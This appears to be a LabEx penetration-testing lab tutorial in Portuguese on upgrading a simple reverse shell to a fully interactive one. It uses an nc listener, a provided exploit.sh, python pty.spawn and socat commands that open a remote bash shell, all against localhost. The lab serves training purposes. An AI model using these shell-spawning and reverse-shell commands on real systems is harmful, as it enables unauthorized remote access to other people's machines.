Como Atualizar Shell Simples para Shell Interativo no Nmap

Introdução

No campo dos testes de penetração (penetration testing), obter acesso a um sistema alvo frequentemente envolve a obtenção de um shell, que pode ser um shell simples ou um shell interativo. Um shell simples é limitado em funcionalidade e carece de capacidades interativas, enquanto um shell interativo oferece um ambiente mais robusto e amigável ao usuário. Este laboratório visa explorar as diferenças entre shells simples e interativos, e guiá-lo através do processo de atualização de um shell simples para um shell interativo.

Entendendo o Shell Simples

Nesta etapa, exploraremos o conceito de um shell simples e suas limitações. Um shell simples é tipicamente obtido através de vulnerabilidades de execução remota de comandos ou outras técnicas de exploração. Embora permita executar comandos no sistema alvo, ele carece de vários recursos essenciais que podem dificultar a fase de pós-exploração.

Para começar, abra uma janela de terminal e navegue até o diretório /home/labex/project:
```
cd /home/labex/project
```
Para simular o processo de obtenção de um shell simples no sistema alvo, você precisa configurar um listener na porta 5911 usando o comando nc:
```
nc -lnvp 5911
```
Saída esperada:
```
labex:project/ $ nc -lnvp 5911
listening on [any] 5911 ...
```
Esta janela de terminal atuará como o listener para a conexão do shell simples.
Abra outra janela de terminal e navegue até o diretório /home/labex/project e você deverá ver um arquivo exploit.sh em seu diretório home. Este arquivo simula uma exploração de execução remota de comandos que pode ser usada para obter um shell simples no sistema alvo.
```
cd /home/labex/project
```
Execute o script exploit.sh para conectar ao listener na porta 5911 e obter um shell simples no sistema alvo:
```
./exploit.sh
```
Saída esperada:
```
labex:project/ $ ./exploit.sh
Simulating attack...
Shell has been rebound, please check the terminal which you listen to the port 5911
```
Este script conectará ao listener na porta 5911 e fornecerá um shell simples no sistema alvo.
De volta à janela do terminal onde você configurou o listener, você deverá ver uma conexão estabelecida com o sistema alvo.

Exemplo de saída:
```
labex:project/ $ nc -lnvp 5911
listening on [any] 5911 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696
|
```
Você pode verificar se obteve um shell simples executando comandos como whoami e lsb_release -a. No entanto, você notará que o shell simples carece de certos recursos, como prompts de comando adequados, preenchimento por tabulação e a capacidade de usar comandos interativos como su ou ssh.

Atualizando para um Shell Interativo com Python

Uma maneira de atualizar um shell simples para um shell interativo é usando o módulo pty do Python, que permite criar um pseudo-terminal (pts).

Primeiro, verifique se o Python está instalado no sistema alvo executando os seguintes comandos:
```
which python
```
Se o Python estiver disponível, você pode criar um pseudo-terminal usando o seguinte comando:
```
python -c 'import pty; pty.spawn("/bin/bash");'
```
Este comando irá gerar um novo shell interativo com suporte a pseudo-terminal, permitindo que você execute comandos como su e ssh sem problemas.

Exemplo de saída:
```
labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");'
labex@660d6d4be229593d40db954d:~/project$
```
Você pode verificar se o novo shell é um pseudo-terminal executando o comando tty e redirecionando a saída para um arquivo:
```
tty > /home/labex/project/shell.txt
```
Verifique o conteúdo do arquivo shell.txt para ver se o shell é um pseudo-terminal (pts).
```
cat /home/labex/project/shell.txt
```
Exemplo de saída:
```
labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt
/dev/pts/5
```

No entanto, embora o pseudo-terminal Python aborde algumas limitações do shell simples, ele ainda carece de certos recursos, como preenchimento por tabulação, navegação no histórico e suporte adequado para editores de texto como vim ou vi.

PS: Você pode sair do shell do pseudo-terminal digitando exit ou pressionando Ctrl+D.

Atualizando para um Shell Interativo Completo com Socat

Para uma solução mais abrangente, podemos usar o utilitário socat para obter um shell interativo completo com suporte para todos os recursos, incluindo preenchimento por tabulação, navegação no histórico e compatibilidade com editores de texto.

Primeiro, verifique se o socat está instalado no sistema alvo executando o seguinte comando:

which socat

Se o socat estiver disponível, siga estas etapas:

Abra uma nova janela de terminal e inicie um listener na porta 5912 usando o seguinte comando socat:
```
socat file:$(tty),raw,echo=0 tcp-listen:5912
```
Aguardando o estabelecimento da conexão.
No shell simples, execute o seguinte comando para conectar ao listener e atualizar o shell para um shell interativo completo:
```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
```
De volta à janela do terminal onde você configurou o listener, você deverá ver uma conexão estabelecida com o sistema alvo. Você agora deve ter um shell totalmente interativo com todos os recursos que você esperaria de uma sessão de terminal regular.

Exemplo de saída:
```
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
labex@660d5d5ee229593d40db9301:~$
```

Teste o novo shell interativo usando comandos como cat, ssh, vim e navegando pelo histórico de comandos usando as setas para cima e para baixo.

Resumo

Neste laboratório, exploramos o conceito de shells simples e interativos no contexto de testes de penetração (penetration testing). Aprendemos sobre as limitações dos shells simples e a importância de atualizar para um shell interativo para atividades de pós-exploração (post-exploitation) eficientes. Cobrimos dois métodos para atualizar um shell simples: usando o módulo pty do Python para criar um pseudo-terminal e usando o utilitário socat para obter um shell interativo completo com todos os recursos necessários. Ao praticar essas técnicas, você adquiriu habilidades valiosas que o ajudarão em futuros projetos de testes de penetração, permitindo que você supere os desafios apresentados por shells simples e otimize seus esforços de pós-exploração.